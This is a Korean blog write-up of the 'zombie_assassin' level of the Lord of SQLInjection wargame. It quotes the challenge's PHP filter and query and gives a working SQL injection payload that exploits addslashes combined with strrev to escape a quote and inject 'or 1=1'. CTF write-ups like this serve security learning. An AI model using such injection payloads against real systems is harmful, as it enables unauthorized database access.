[Lord of SQLInjection]zombie_assassin write up

zzsla·2023년 6월 26일
0

문제 정보

없다

문제

문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

분석

get으로 요청된 id, pw값에 addslashes\를 넣고, strrev로 입력값을 순서를 뒤집는다.

  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));

get으로 요청된 id, pw값에 prob, _, ., ()가 들어가면 프로그램이 죽는다. 즉 이 부분이 필텨링 부분이다.

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 

그 다음은 query에 sql명령문이 나온다.
명령문은 id를 찾는데 prob_zombie_assassin이라는 테이블에 있어야 하고, id, pw에 get으로 요청된 값이어야 한다.

  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 

그리고 id를 찾으면 문제가 풀린다.

  if($result['id']) solve("zombie_assassin"); 

취약점

addslashesstrrev를 이용해서 '를 잘 제거하면 or문을 이용해서 문제를 풀 수 있다.

익스플로잇

일단 "id에 넣으면 \가 생기는데 반전이 되면서 \가 뒤로 가게 된다. 그러면 id 뒤에 있는 '\로 제거해서 문자열을 pw='까지 문자열로 만든다. 그리고 잘 문자열을 반대로 적어서 보내면 문제가 풀린다.
/?id="&pw=- -- 1=1 ro

익스플로잇을 넣었을 때 실행될 sql query

select id from prob_zombie_assassin where id='"\' and pw='or 1=1 -- - '
profile
[README]newbi security hacker :p

0개의 댓글